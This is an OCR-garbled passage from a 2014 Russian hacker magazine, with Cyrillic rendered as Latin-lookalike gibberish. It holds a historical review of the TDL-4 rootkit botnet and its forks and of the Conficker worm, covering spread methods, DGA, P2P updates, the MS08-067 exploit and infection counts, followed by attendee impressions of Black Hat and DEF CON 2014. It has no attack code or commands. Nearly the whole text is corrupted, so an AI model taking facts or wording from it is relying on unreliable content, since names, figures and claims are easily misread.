CTO TPOSiIHaMU C (PYHKUMEN PYyTKUTA,
TO Bepcusi 4 y>Xxe 0THOCUIACh K Takow
VHTEPECHOI kareropun malware,
KaK ByTkuT. 3arpyaka [0 onepaumoH-
KW Ha TOT MOMEHT cyuTanacb nepe-
n0BOW TexHonornen. Knioyesas noes
OyTkuTa TDL — xpaHeHne CBOUX KOM-
NOHEHTOB BHEe GanfnoBON CUCTEMBI,
paspaboTtink TDL euie B TpeTbew
BEpCUN pasBun ee A0 KOHLenuun
LWMHPOBAHHOI0 XpaHuIuLLA C BUPTY-
anbHoM GainnoBon cuctemoi. octyn
K XpaHunuiy obecneyvBanca gpam-
BEPOM-PYTKUTOM, KOTOPbIA, MOMUMO
DYHKUMIA COKPBLITUS U CaMO3aLLUMUTbI,
co3paBan BUPTYyasibHOE YCTPOWCTBO,
4TO MO3BOJSIANIO Npwu pabote c dai-

KpaTkas xapaktepucTuka:
TPOSH-3arpy34nk ¢ GyHKUnen
click fraud

logbl XXU3Hu:
2008 — HacTosiLee Bpemsi

JlaMn NCnonb30BaTb CTaHAapTHblE GyHKuMK WInAPI, Takme
kak CreateFile(), WriteFile(), ReadFile().

KomnoHeHTbl TDL-4 xpaHuivcek B crieumansHol obna-
cTu (paamepom He 6onee 8 M6) B KOHLE XECTKOro amucka.
Cpean Mozynei Gbinv 3ameueHbi: !
CBOE0OPAa3HbI «aHTUBMPYCHBIV» KOMMOHEHT, KOTOPbIN
ynansn okosno 20 BpeAOHOCHbIX MPOorpamm, Takmx
kak Gbot, ZeuS, Clishmic, Optima;

SOCKS-npokcu;
MOZAYJ/1b HAKPYTKI NMOVCKOBbIX 3anpocoB (BlackSeo);
MOoAyJib A5 FeHepaLny KpUNTOBasIioT Bitcoin,

Konuyectso 3apaxeHuii:
4.5 munnuoHa

TexHunyeckas
HaBOPOYEHHOCTb:

.
MeToabl pacnpocTpaHeHus:
3KCMMONT-NaKk

’
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Hanbonee uHTEpecHbLIM HOBOBBEAEHMEM CTano MOsIBAEHMEe
«nonesHol Harpysku» kad.dll, npenHasHavyeHHOl Ans obmeHa
nHbopmaumein mexay 6otamy TDL-4 nocpenctesom cetn P2P
no npotokony Kademlia (kak Zeus).

B 2011 roay aHTVBMPYCHbIE KOMMNaHWK BbIIBUM 0Kos0 60 fo-
MEHHbIX UMEH KOMaHAHbIX LeHTpoB TDL-4, KOTOpble MO TEXHO-
norum Double Fast Flux (cm. Bpe3kn) nepeHanpaenasavch Ha Tpu
pasnunyHbiX cepsepa. basbl paHHbIx MySQL, noppepxwusatoLLme
paboTty 60THeTa, BYHKLUMOHMPOBANN Ha TPEX CepBepax, pacro-
noxeHHbix B Mongasun, Jlntee n CLUA. CornacHo nHdopmaumm
13 atux bJl, 3a Tpn nepsbix Mecsiua 2011 ropa TDL-3 6bi10 3apa-
XXEHO 0KONo 4,5 MUNAnoHa KOMMbIOTEPOB MO BCEMY MUPY, OKOSIO
28% 13 HUx Haxoaunuck B CLLA.
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TDL-3 based sapuanm SST (c 3apaskeHu-
em dpaiieepa) pacnpocmpaHaAca c Ha-
uana 2011 200a do Ha4aAa Aema, Ko20a

nowau 3azpysku mecmosoil sepcuu SST
Ha 6a3e TDL-4 c 3apaskeHuem MBR

TDL co BpeMeHeM npuobpes MHOro NpeemMHukoB. O4YepeaHas
KmbepnpecTtynHas rpynnupoBka (6yaem HasbiBatb ee Pragma,
Takme naeHTMdUKaTOpbl COAEepXanucb B WX KoAe) npubpana
K pykam mncxopgHukn TDL-3 n TDL-4 u ctana knenarb CBOW asib-
TEepHaTVBHbIE BEPCUMWN 3TUX BPEAOHOCOB, MOMYYMBLUME Ha3BaHWE
SST nnn MaxSS. MpeemctBeHHOCTb KOgoB TDL npusena kK Tomy,
4YTO B kJlaccudukaumm MHOIMX aHTUBMPYCHbIX BEHAOPOB L@ApUT
nonHasi Hepasbepuvxa u, No CyTW, pasHble CEMENCTBa NPOAIIXa-
10T MMeHoBaTbCs, kKak ux npenok (TDL, TDSS wnnn Tidserv). MNpo-
paxa kopos TDL-4 He npvBena K ero UCHe3HOBEHMIO, TOT NPOEKT
NPOAOJIXMA Pa3BMBaTbLCA NapannenbHo NpoekTy SST.

TDL-3 based BapuaHT SST (C 3apaxeHvem gpaisepa) pacnpo-
cTpaHsncs ¢ Havana 2011 ropa Ao Havana neTa, Koraa noLuv 3arpys-
kv TecTtoBoi Bepcumn SST Ha 6a3e TDL-4 ¢ 3apaxeHuem MBR. Ha 1o,
4TO 3TO TecTOBas BepcUsi, ykasbian 60sbLLoli 06beM TPACCUPOBOY-
HbIX N1OroB, oTrnpasisembix Ha C&C BO BpeMsi yCTAHOBKU, a TaKXe -
MHOro4MCIeHHbIE COOOLLIEHNS 06 OLLNBKax, KOTopble BYTKUT cnas BO
Bpems paboTbl. 13 duLuek coTpyaHmkmn komnadum Microsoft otmeTn-
JIN O4eHb UHTEPECHBIV CNOCO0 «Pe3epBHOr0» KaHana BOCCTaHOBME-
HUs CBSA3U SST Cco CBOUMYM KOMaHAHLIMU cepBepamu. KoHpurypaum-
OHHBbI ain ¢ nx agpecamn coaepxascs B dainax dopmara JPG,
KOTOPbIE Pa3MeLLaIMCh Ha XOCTuHre imageshack.us. Ccbuiku Ha Ta-
Kne n3obpaxkeHus 6blIn B NocTax, onyonkoBaHHbIX Ha MOMYASPHbIX
6Gnorepckux nnowaakax LiveJournal.com v WordPress.com.

Tak UM nHaye, TectoBasi BEpCusi B aBrycte Oblia 3aMeHeHa
HOBOW K copepxana B cebe yxe HecKosbkO WMHOW crnocob mno-
Ny4eHnst ynpasneHus npu 3arpyske. McnonHsembii kog MBR
HE U3MEHS/ICS BOBCE, a XxpaHunuiie $ainsioB OPraHn3oBbiBanoch
HEe MPOCTO B MOCNEAHUX CeKTopax AUcka, a B BUAEe OTAENbHOro
pasgena pasmepom go 15 M6. dnar akTmBHOro pasgena name-
HSNICS ¢ 3arpy3o4Horo pasgena OC Ha pasgen SST. dainosas
cucTema pasgena ¢ XpaHunuLLEeM B Lienom nostopsina dC TDL-4,
0AHaKo cofepxana HekoTopble Yy4LLEHUs, B HACTHOCTW yopaHo
orpaHuyeHue Ha 15 dainnos, a camu dalinbl B 3aronoBke coaep-
Xanu KOHTposbHyo cymmy CRC32. 310 Nno3Bonsino peannsosartb
B @C npoBepKy Ha LENOCTHOCTb, B Cllydae 06HapyXXeHus NoBpex-
LeHvi dainn yoansncs n3 xpasunuwa. .

B koHue 2011 roga Ha cueHy BbixoanT ¢popk TDL-4 noa Hebna-
ro3By4HbIM HagBaHviem Pihar, KOTOPbLIA MO CBOUM XapakTepucTu-
KaMm MoYTN HEOT/IMYMM OT OpUrnMHanbHoro TDL-4. B HEM NpUMeEHeH
paa Mep, USMEHSIOLLMX CUrHATYPHbIE XapakTEPUCTUKMA KOMMOHEH-
TOB, Hanpumep, Wwndposancs He pasaen Leankom, a Tonbko damnn
KoHpurypaumm. B 3aronoske atoro daina, KCtatu, NpUCyTCTBO-
Bana ctpoka [PurpleHaze], no Bceli BUAMMOCTU, SBNSIOLLAACS OT-
CbIJIKOM K necHe xunmu XeHapukca.

B 2012 roay komnaHus Damballa npeactaBuna aHanutuye-
CKkuin OTHET nop, HadBaHneM «A New lteration of the TDSS/TDL-4
Malware Using DGA-based Command-and-Control». B Hem co-
pepxutcs nibopmaums 06 obHapyxeHun Tpabuka, aHanormyHo-
ro.no ceovm napamerpam cemenctay TDL. OH Gbin1 BbISIBAIEH C MO-
moubio «nesp» (Pleiades) — aBTOMaTM3MpPOBaHHOW CUCTEMbI
oBHapyXXeHns mansapu, ncnonbayiolein mexaHnam DGA ans ces-
3u ¢ C&C. anbHenLumnii aHanna nokasars, 4YTo 3To AENCTBUTENBHO
HoBas Mmoandukaumsa TDL-4.

Motomkn TDL BCTpevarTcs A0 CUX NOp, HanpuMmep, OCEHbIo
2013 roga 6bina BbisBNeHa moandukaums Pihar, ncnonbayouas
A5 NOBbLILLIEHUS NPUBUAETUIA NPU UHCTaNNALUUN IKCMIONAT yA3-
BumMocTn CVE-2013-3660 (ans yctaHOBKW pyTKMTA, ECTECTBEHHO,
HY>KHbl MpaBa agMunHa).
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CONFICKER

N HakoHeu, nepBoe mecto! CeteBou uepBb Conficker (aka Kido,
Downadup), rnaeHas yrpo3a koHua 2008 — nepeoii nosnoeutHbl 2009 roaa.
Knaccuyeckuii npumep ceTeBoro 4epBes, MOXHO CKa3aTb, HacNleAHUK Yep-
BA Moppuca. CornacHo ofgHOW BepcuM, Ha3BaHMEe 0OpPa30BaHO OT C/OB
configuration u ficker (Hemeukunii cuHouum ana fucker).

(nepeHacTporika LI308B) Mocpen-
cTBOM npoTtokonia SSDP ans pacnpo-
cTpaHeHus B JIBC.

CyuiecTByeTt naTb Bepcui
Conficker, o6o3Havyaembix OykBa-
Mu A (21 Hoa6psa 2008 ropa), B (29
nekabps 2008 ropma), C (20 des-

Only4aeT 3acily>XeHHOe NepBoe MecTo 3a Creay-
loLLMe nokasarenu: ¢
CKOPOCTb pacnpocTpaHeHuss — MepBsble
06pasupl GbIIM 06HapyxeHbl B Hosibpe 2008
ropa. Mo coctosHMio Ha sHBapb 2009-ro GbIIO Mopaxe-
HO OKOJI0 9 MUIMMOHOB KOMMbLIOTEPOB BO BCEM MUpPE. Tak
MHoro notomy, 4to Conficker ncnonb3osan ans asToma-
TUYECKOro pacnpocTpaHeHust ysa3BMMOCTb Clyx0Obl Server
onepaunoHHon cuctembl Microsoft Windows, 3akpbITyio
natyem MS08-067. B anpene 2009 rona pasmep 60Tcetu
oueHuBancs B 3,5 MunnuoHa.

TexXHONMOrm4yHoCTb — peanu3oBbiBall MHOFO pas-
JINYHLIX  PUY,  HaMpaBNIEHHbIX
Ha YCTOMYMBOCTb YrNpaBfieHUs:
ons cesa3m ¢ C&C npumeHsnach
TexHonorus DGA; pacnpocTpaHe-
HWe HOBbIX BEPCUI peann3oBbiBa-
JIOCb C MPUMEHEHNEM TEXHONIOMUIA
3N1EeKTPOHHOW LMdPOBOM NoAnncu
1 MexaHuama P2P opurnHanbHow
apXMTEKTYPbI, B KOTOPOM CNMCOK
nupoB  dopmupoBancs  AuHa-
MUYECKM, MNyTeM CKaHWpOBaHUSA
CMexHbIx |IP-agpecoB; u3meHe-
HUE CETEBON MHPPACTPYKTYPbI

Bepcus Conficker.A codep-
’kana moAbKo 00uH memnod
pacnpocmpaHeHus — no-
cpedcmeom IkcnAyamauuu
ya3sumocmu 8 cayskbe Server,
Caa3b c CeC obecnequsanach
npu nomowu DGA

pans 2009 roga), D (4 mapta 2009 roga), E (7 anpens
2009 ropa). B TepMUHONOrMN HEKOTOPbIX @HTUBUPYCHbIX
KOMMNaHW NCMnosb3yoTCsa HauMmeHoBaHus A, B, B++, C, D
COOTBETCTBEHHO. -

Bepcusa Conficker.A copgepxana TONbkO OAVMH MEeTOn,
pacnpocTpaHeHMss — MOCPeAcTBOM 3KCrayartaumm yss-
BMMOCTU B ciyx6e Server. Cs3b ¢ C&C obecneynBanack
npu nomowm DGA, exeaHeBHO reHepupoBanocb 250 no-
'MEHOB MO MCeBOOCNy4yanHOMy anroputmy. B uensx 3a-
LWMTbI OT MOAMEHbI 3arpyxaembix $alninoB MCNob30Ba-
nacb JUIM. [na 3arpyxaemoro daiina BbiCHUTLIBAIICS XeLwl
SHA-1 pnuHoii 512 GUT, KOTOPLIA 3aTEM UCMOJIb30BaNCs
B KayecTBe kJo4ya LwundpoBaHusa
no anroputmy RC4, aT1OT xeL Tak-
e ncnonb3oBascs ans udbposom
nognucu RSA c knodom 1024 6uT.
B ommyme oT nocneaytoumx sapu-
aHTOB, He cogepxan B cebe pyHK-
LM camo3alunThI. !

Ectb MHeHue, 4to Conficker
paspaboTtanu Ha YkpauHe, Tak
kak Conficker.A nposepsan Hanuuve |
YKPauHCKON packiagky Knasua-
TYpbl 1 CAMOYHUYTOXAICSl B 9TOM
cnyyae. K?ome TOro, mo 6ase ;

" ‘

KpaTkas xapaktepucTuka:
CeTeBON YepBb

oAbl Xn3Hu:
2008-2009

KonuyecTtBo 3apaxeHuii:
9 MUNINNOHOB

TexHuyeckas
HaBOPOYEHHOCTb:

(ELEIEIEIEIEIEIElE

MeToab! pacnpocTpaHeHus:
camMopacnpocTpaHeHve Yepes
YA3BUMOCTU CETEBbLIX CEPBUCOB
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Yepes USB-Hocutenm,
1ICMob3yA aBTo3anyck

Yepes OTKpbITbIE Wapb!
nonb3oBartenei

Yepes cucTeMHYl0 Wapy
Admin$, nepe6upas naponb

3]
[
[TponatyeHHble cucTeMbl

C HaaeXHbIMK naponamn
BHE 0MacHoOCT!

Conficker Ha 3apaxeHHoii
CUCTEME HEMPEepbIBHO CKAHNpYeT
COCEHNE KOMMbIOTEPbI

AL 11 MbITAeTCA UX 3apasnTb
Vcnonb3ys akcnnont

yassumocti MS 08-067

naHHbix GeolP ¢ caiita maxmind.com onpegensnack nNpuHaa-
JNIEXHOCTb 3apaxaemoro IP-agpeca YkpanHe, B 3TOM cly4ae 3a-
paxkeHne He NPOU3BOANNOCK. B cneayoLmnx Bepcusix 9Toro (pyHk-
LMoHana yxe He 6b110.

B Bepcun Conficker.B gna paclumpeHus «apeana 06uUTaHns»
6b1In J06aBNEHb! elle [ABa MexaHU3Ma PacnpoCTPaHeHUst — My-
TEM - UCMOSIb30BaHMSA CETEBbLIX PECYPCOB (Karanoroe) CO «cna-
O6bIMW» MaposAMN 1 anroput™ 3apaxeHusa USB Flash (meTtogom
autorun.inf). Beina ycuneHa kpuntorpadus — B I(_aHeCTBe anro-
puTMa XeLmpoBaHnsa 6bl1 NpUMeHeH anroputm MD6 (HoBenLniA
Ha TOT MOMEHT, pa3pa6oTtaH B 2008 roay), AnnHa knoda RSA
Obina yBenuyeHa oo 4096 6uT. MosBunmcb GyHKUMM camo3aLum-
Thl: OTKJIIOHANICA MEXaHN3M 0OHOBNIEHWUSI ONEePaLOHHON CUCTEMBI
1 6nokupoBasncs focTtyn (nytem otcnexuBaHus DNS-3anpocos)
K pSiAy CanToB, rae MOXHO 6blI0 ckavyaTb 0OHOBIEHNE aHTUBUPYC-
Hblx 6a3 UK cneunanbHble YTUIUTLI yaaneHns BpeaoHOCOB.

OcHoBHoe un3ameHeHne B Conficker.C kacanocb MexaHu3ama
DGA, 13-3a 4ero HeKOTOpbIE aHTVBMPYCHbIE KOMMNaHUM HasblBa-
10T 3Ty Bepcuio B++. B kadecTse oTtBeTa mHuumatuee Conficker
Working Group no pesepBupoOBaHUIO MMEH AOMEHOB, reHepupy-
embix Conficker, pa3paboTinky yBennuunam nx Koamyectso ¢ 250
00 50 ThICSY B.CYTKW, 4TO CBEJIO HA HET MOMbITKN UX eXeaHEBHOM
perucTpauum. ;

Conficker.D nuwmnca MexaHW3MOB CaMOPACHpPOCTPaHEeHUs.
Bbina ycTtpaHeHa owwnbka B peanusaummn MD6 Tuna «nepenosiHe-
Hue Bydepa», ponylueHHas paspaboTymMkoM anroputMma PoHanb-
nom PueecTtom. Paspabbl N03anMCTBOBaNM €ro Ko OAVH K OA-
HOMy, NO3TOMY 6ar onepaTnBHO NOPUKCUIU, Kak TOSIbKO Pusect
0 HeM coobwmn. BHegpeH mexaHuam P2P ana o6HoBneHusi. Ero
MHTEPECHOI 0COBEHHOCTBIO SBNISIETCS OTKA3 OT Ha4YasbHOro Crnu-
CKa MMpoB. STOT CMMCOK 06bIYHO MV 3aAAETCA BHYTPU UCTIONHSAE-
MOro koAa, v pasmeLlaeTcst Ha NybanyHbIx cepsepax. Conficker
€ HaxoOmMT CBOW MUPbl METOAOM CkaHupoBaHusi IP-agpecos.
[na kaxporo HangeHHoro IP-agpeca Nnposepsnoch, GyHKLMOHM-
pyeT nu Had Hem Conficker. Ecnv aa, cosaasancs noTok As CBA3i
C yaaneHHom konunen. MNMpu ckaHMpoBaHMMU NPOBEPSIOCH HAXOXAE-
Hue IP B blacklist anpecos aHTUBMPYCHBIX:KOMMaHMIA, K HAM 06-
paLLEHNE He MPOM3BOANIOCH.

B Conficker.E BepHy1M BO3MOXHOCTb 3apaxeHusi Yepes ceTb
] peanmsos'a}nyl cbmmK‘y (o nepeHacT‘poﬁKon’mmosoB no SSDP.

1 bt

.
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HakoHeu-To ¢ 3Toli Bepcun Havanacb «MOHETU3auus nNpuobbLIv»
npv NoMoLM ABYyX MeTomdoB. [MepBbli — 3arpyska ¢eV|Ko%_oro
aHTuBMpyca Spyware Protect 2009. BTopoit — pacnpocTpaHeHue
TposiHa Waledac, nponsBoauvBLIEro Kpaxy OGaHKOBCKUX AaHHbIX
1 paccbliky cnama.

Mpw ananmnse nidopmaumm o Conficker He NOKMAAET YYBCTBO,
4TO pa3paboTyvku B MEpPBYIO O4epeab CTaBUNN UCCeaoBaTe b-
CKMe Uenu, yX 04eHb MHOrO BCSKUX KOHLIENTyasbHbIX BELLEn pe-
ann30BaHoO (KCTatw, ONs UX MPOBEPKU HyXHa Obina Hexunas Te-
cToBasi nabopatopws). C Apyroi CTOPOHbI OAHA TOJIbKO NPUBLIIL
oT ycTtaHoBku FakeAV, mo oueHkam crneuuanuctoB, coctaBuia
0KOJI0 72 MUANNOHOB AonnapoB. OgHAKo MOXET Tak OKas3aTbCs,
4TO cHayana 60THET Gbl1 CO3AaH, a YXKe HECKOJIbKO MECSLIEB Cry-
CT NosSIBUNACh MAES, HTO HEMI0X0 Obl U AEHEXKY Kakyio Ha HEM
«3apaboTaTb».

Lo CuX MOpP HEMOHATHO, SABNSETCA N1 YKpauHa POAVHOW
Conficker. HekoTopble uccnegosartenv 0TMeHaloT, 410 pabo4unin
aKCMNONT K yasBumoct MS08-067 nepsbiM nosisuncs B Kurae
M ero KOZ Mo4YTu MOJIHOCTbIO Bocrnpom3BedeH B Conficker. Oke-
nepTtbl BbeTHaMckor komnanum BKIS, 3aHumaloLuieincs BoOnpo-
camMu KOMMblOTEpHOI 6e30macHOCTK, caenanu BbiBOA, O KuTai-
CKOM npoucxoxaeHunn yepss Conficker nocne aHannsa ero Ko,u,a[
OH MmeeT MHoro obuero ¢ yepsem Nimda, BUHOBHUKOM anvae

Mum 2001 roga, KoTopblii NPeanooXnTensHO Toxe 6bll paspabo)

TaH B Kutae! OdunumanbHO 3TU JaHHbIE He Oblnv NOATBEPXKAEHE
a camu paspabotyunkm Conficker Tak 1 He yCTaHOBNEHbl, HECMOTP!
Ha ob6elaHHyto Harpaay B 250 Tbicsy nonnapos ot Microsoft.

"
11T
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Bce paccMOTpeHHble 3BEPYLLKUN B Pa3HOE BPEMS YCMELLHO B3Sn
Mo KOHTPOJIb MUSIIMOHBI KOMMbLIOTEPOB. W ecnu ceiyac B 3aro-
JIOBKax HOBOCTHbIX PECYPCOB TakMx OFPOMHBIX YNCEN yXe AAaBHO
He BUOHO, 3TO He 3HAYMT, 4TO CMTyaLMs CO BpEMEHEM YyyLIMUNACh.
MpocTo none AeAaTenbHOCTY CerMeHTUPOBaNoCh, cTano Gosblue
BCSIKOI ManBapu A5 NoCTpoeHns 60TceTeil, COOTBETCTBEHHO, UX

paamep ymeHbLumics. OTpagHo, 4To knbeprnoapasaeneHus mupa ,

BCE-Taku He 3ps easT CBoM x1eb 1 paHo UK NO34HO NIOBAT pas-
paboT4MKOB BCAKOM KOMMbIOTEPHO HEYMCTU.

Kak BuoHO n3 npuBegeHHoro ton-10, nocneaHue HeCKOonbko
NIeT OTYETIMBO MPOCNEeXUBAETCS TPeHA, Ucnosnb3oBaHus B 60T-
HeTax P2P-TexHonorunii ans obHoBneHns moaynei. Kak nokasana
npakTuka, X NCNosib30BaHME CYLLECTBEHHO MOBLILLAET XNBYHECTb
60THeTa. B TO e BpemMsi C/IOXHOCTb KOAA AEPXUTCS Ha CpedHeM
YPOBHE, TaK KaK YACNIO BbICOKONPOMECCHOHAbHBIX pa3paboTym-
KOB, CMOCOBHBIX NCATb BCAKNE KPYTbIE LUTYKWN TUMNA PYTKUTOB UN
cobCTBEHHbIX peanu3aunin cteka TCP/IP, BO BceM Mupe He Tak
VXX U BENNKO (KOrAa MX yXe BCEX Ha kapaHpalwl Bo3bmyT? :)). [a
n dyHkumoHan P2P TpebyeT netanbHOW npopaboTky ero npo-
TOoKONa. B cBAI3M ¢ mocnegHUMU cOBLITUAMK (MoBasnbHAs LUNMO-
HOMaHusl, CNpoBOLMPOBaHHas CHOYAEHOM) eCTb BEepPOSITHOCTb,
41O GONBLINHCTBO Npodu BCckope GyayT 3a4eiCTBOBaHbI CreLl-
cnyx6amu ans paspabotku Bcakux APT-TposiHoB. Vnu Ha ayTcop-
CUHrOBOW OCHOBE (Npumepsbl: TposH MiniDuke, npeanonoxuTens-
HO HanNMCaHHbI KEM-TO N3 aAENTOB BUPMENKEPCKOM FPYNnnMpPOBKN

+A29; 60T BlackEnergy Il co wunnoHckumn moaynamu), unu 3a eny

(B YeTblpex cTeHax).

Y70 eLle MHTEePECHOro MOXHO YBUAETbL B AaHHOM 0630pe? Hy,
HanpumMep, 4To 6oMbLUas YacTb BCAKOVM HABOPOYEHHOW Mansapu
cospaeTcs Bbixoauamu ns Poccun. na cpasHeHus, B Kutae Toxe
NnosHO ymenbLeB (aa n B CLUA Toxe), 0aHaKo 3acuibst KUTANCKUX
UM aMepuKaHCKMxX BOTHETOB YTO-TO He BUMAHO. He nmocnegHiown
POSb TYT MOTYT UrpaTh COOTBETCTBYIOLLME 3aKOHOAATENbCTBA 3TUX
CTPaH, a TakXe CTeneHb 3aMHTepPeCOBaHHOCTU PYKOBOASALLEN BEP-
XyLLKWU B ynpaeneHun cutyaumeii. Co CTOPOHbI 9TO BbIMSANUT Tak
(HY, Mbl HU4ero Takoro He yTBepxaaem ;)), 4to CLLUA n Kutain Bcex
CcBOWX NPodu B3a/IM NOA, KONNak v BeayT HeoObsIBIEHHYIO kKnbep-
BOWHY, a B Poccuu TeM BpeMEHEM MnaHOMEPHO pybaT 6a610 (KTo
ckasan «koppynums»?).

AHann3 TekyLen cuTyaumm nokasbiBaeT, YTO Takme pyHKumK,
kak DDoS 1 cnam, NOCTENEHHO NCYE3atoT U3 60TOB, paboTatoLLmMX
Ha pgeckrorne. YkadaHHble GYHKUMM HamMHOro addekTueHee pea-
NM3yloTca B malware, Kotopasi 3apaxaeT cepBepbl. A kakas y Hac
camas pacnpocTtpaHeHHas OC Ha cepBepax? MNpaBunbHO — Linux!
M ypoBeHb 3n10BpeAoB TaM OTHIOAb HE AETCKUIA.

Hanocnegmok B o4yepenHoi pas HanoMmuHaem, 4To 6Ge3onac-
HOCTb TBOEro MK B TBOMX pykax. MNoBkiwali CBOM ypOBEHb 3HAHUI
8 IT, n NycTb y4acTue B KakoM-HNbyAp o4epeaHOM 6OTHeTe-Mui-
JIMOHHWKe 060iaeT Tebsi CTOPOHON. 3

25




26

Cover Story

BLACK HAT
i DEF CON

2014

JIBE KYJIBTOBbIE
SANALHBIE
KOH®EPEHLNN
[TTASAMW HALLINX
NPY3EN

Crenau Unbuu

step@glc.ru

XAKEP 09 /188/2014

Black Hat n DEF CON — 511 aBe 3Hame-
HUTbIE KOH(EepPEeHLUM cobuparoT ecnum

1 HE BCIO XaKepCKYyo TYCOBKY, TO COBEp-
LLEHHO TOYHO OLLIENOMASIOLLEE KONNYe-
CTBO NnereHaapHbix niogen. loctatoyHo
OTKPbITb CBOIO NEHTY B Twitter’e, 4ToObI
MOHATb — TYT NO4YTU Bee!

3abaBHo, 4TO 3a BpeMs paboTbl B ][

1 Tak U He gobpanca a0 HMX. [la n B aToT
pas Bce BpemMs NpoBes B OBU3HeC-xos1-
J1e, HE UMeSst BOBMOXHOCTM CXOAUTb

HW Ha OOMH TEXHUYECKUI aoknag,. dy-
Malto, s eLle NoaentoCb ONbITOM TOrO,
Kak genatb CTeH, 1 BOOOLLLE BECTU

ceb9d Ha 3anagHbIX 6M3Hec-BbICTaBKax,
HO cenyac yylle nepeaam CNoBO TEM,
KTO ycCres BCeLesno Hacnaantbca Black
Hat’'om 1 DEF CON’om. bnaro Hawmx
Opy3en, MHOrMe N3 KOTOPbIX Oblan Crn-
kepamm, TamM ObISIO O4EHb Aa)ke Hemarso.
P. S. 3apaHee NpMHOLLY U3BMHEHUS TEM,
K KOMY He ycnen o6paTtnuTbCs 3a OT3bl-
BOM, — BPEMS OYEHb NOAXMMATO :).
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Black Hat n DEF CON 2014

AHTOH KAPIOB

AHAEKC, CHIEF INFORMATION SECURITY OFFICER

e Mory HasBaTb cebsi «BeTepaHoM Bnek

Xata», B 3TOM rogy s NMoceTun KoHde-

peHumio Bcero Tpetuit pa3. OgHako [oo-

CTaTo4HO Napy pas nobbiBaTb Tam, YTOObI
NMOHSATb HECKOJIbKO MPOCTbIX BELLENA.

Bo-nepsbix, Black Hat — 310 He npo xakepos,
xapakop v 3upogeu. Black Hat — ato 6onbLuoe 613-
Hec-meponpusiTue. [la, ypoBeHb [0KIaA0B cTapa-
I0TCS AepXaTb Ha BbICOTE, HE AOMNyCKas MapKeTUH-
roBoro GynnmTa Uam pacckasoB O TOM, HTO Takoe
XSS. Ha kntoyeBble poknaabl BblGUpaloT muccne-
[OBaHNSA 4Yero-Hubyab HOBOrO, MPOMKOFO, YTOObI
MOXHO ObIN0 NYCTUTb MEAMAaBOHY A0 KOHdEepeH-
unn. Ho nepByto CKpUMKy AaBHO UrpaloT BEHA0PbI,
a cam Black Hat BocnpuHumaeTcsa He kak TycoBka
XakepoB, a Kak BblCTaBKa AOCTUXEHWUA U TOBApOB
OrpPOMHOI MHAYCTPUK (ByKBaslbHO — BeAb CaMblii
6onblioit 3an Ha Black Hat 3aHMmaeT Tak HasbiBa-
emblli vendor area co CTeHAaMm KOMNaHuin, To ecTb
nonpocTy BbicTaBka. Kctatu, BO MHOroOM 13-3a Hee
B 9TOM rogy Black Hat npowen Ha HoBOM MecTe,
roe 3an ans KoHdepeHuMid CyleCTBeHHO Gonblue
no naowaann).

Bo-BTOpbLIX, BCe camoe MHTepecHoe Ha Black
Hat npoucxoouT He Ha foknazax v gaxe He Ha Bbl-
cTaBke, a Ha Be4yepuHKax. BeyepuHku ObiBaloT
OBYX TUMOB: OTKPbITbIE N 3aKpbiTble. YTOObLI NOA-
OEepX1BaTb CBOW MMUAX Ha 06LemM ypoBHe, abco-
NIOTHO BCE BeYepuHKN HasblBaloTcs private party,
HO Ha BH «private» Ha pene o3HayaeT, 41O TBOS Be-
YepuHKa He aHOHCMPYETCS HAa OrPOMHOM 6UNGopP-
ne psaom ¢ otenem. NpakTnyeckn Bce BEYEPUHKM
BEHOOPOB COOMPAIOT NIOAEN MO MOXOXEMY Cue-
Hapuio: NOAXOAVLb K CTEHAY KOMMaHUW, YTO-TO
cnpalumBaellb, 1, eCN BEHO0P BUAUT, 4TO Tbl €My
XOTb Kario 4emM-TO WHTEpeceH, TebGe roBOpsiT:
«A, KCTaTW, y HaC CErogHs Be4epuHka, npuxoguTe,
BOT BaM MHBanT». Be3 BcsAkoro capkaama — aTo
camblii ObICTPbLIA U OEACTBEHHbIN cnocob CBECTU
NOTEHLMANbHOrO KAMEeHTa wunuM napTtHepa cpasy
C PYKOBOACTBOM KOMMa@HUMW, MMaBHbIMU TeXHapsi-
MU, BBECTU B «CBOW Kpyr», 3aBsfi3aTb KOHTaKThbl.
pex He BOCNoNb30BaThLCA TEM, H4TO B Berace B oHU

OJIbAAP 3A

@KYPRIZEL

orga TPy KOHbEpeHUMn NPOXoasT oaHa

3a [pyroi, HEeBO3MOXHO YyAepXaTb-

ca OT cpaBHeHuli. M ecnu Ha Black Hat

B 3TOM rogy s nonan Bnepsble, To DEF
CON 6bin yxe Tpetuii. B otnvume oT npeabiay-
wmx noeanok Ha DEF CON, koTtopble nponetenu
Kak oguH mur B nbiny CTF’oB, B 3TOT pa3 6110 Bpe-
MSl MOCETUTb U A0KNaAbl, U BEHEPUHKM U 3aBECTU
HOBblE€ 3HAKOMCTBaA.

Wtak, Black Hat — 3pecb He nokmpaeTt 4yB-
CTBO, 4TO Te6e NOCTOSIHHO MbITAIDTCS H4TO-TO NPO-
[aTb, Aaxe Korga aTo coBceM He Tak. Joknapabl
OYeHb pasHble, OT XapAKOPHON akcnayaTauumn
[0 MPOCTOro 03BYy4MBaHWSA 0OLLEN3BECTHBIX MPO-
6nem. OTa KOHPEepeHUMs OQHO3HAYHO ANs Tex,
KTO urpaet 3a blue team, pns koro 6Ge3onac-
HOCTb — 3T0 daily job.

DEF CON — 3pecb NpuvBblYHbIE O4epeau, ne-
cTpasi okosioxakepckasi TycoBka. OH OOHO3HaAYHO
[eMoKpaTuyHee, 1 4okiaabl 34eck Npo gpyroe: fun,

KoHdepeHunn cobrpaeTcsa BeCb LBET MapKeTUH-
ra, TeXHM4YECKOro 1 Ton-MeHeAXMeHTa MHOXeCTBa
BEHO0POB.

KnuHuyeckme cnydam, BNpoyvem, Toxe OblBaloT.
MUKpPOCOdT, BOT YK€ MHOIO JIET [MaBHbIA CIOHCOP
Black Hat, gonro 1 He6e3ycneLHo ncnpaensioLLmil
Taknm 06pa3omM UMUK AbIPABOM KOMNaHMK, He 3a-
6oTawelics o 6e3onacHocTM (MU, Tenepb yxe
13 OeBSHOCTLIX, BCE eLle CUJIeH BO MHOIMX yMax),
npurnawiaeT Ha Be4epuHKY CO 3BY4YHbIM Ha3BaHW-
eMm VIP Researchers Appreciation Party 6ykBanbHO
BCEX, HAaLO TONbKO B O4Yepeau 3a MHBaWTaMu OT-
cToATb. KapTuHa HanomuHaeT paspady Plok3akos
n 6ecnnatHbix 06e0B B Nyylwne rofbl NUTEPCKMX
SunTechDays, ecnv KTo-TO U3 yuTatenen gocTaroy-
HO cTap, 4T0Obl O HUX MOMHUTL :).

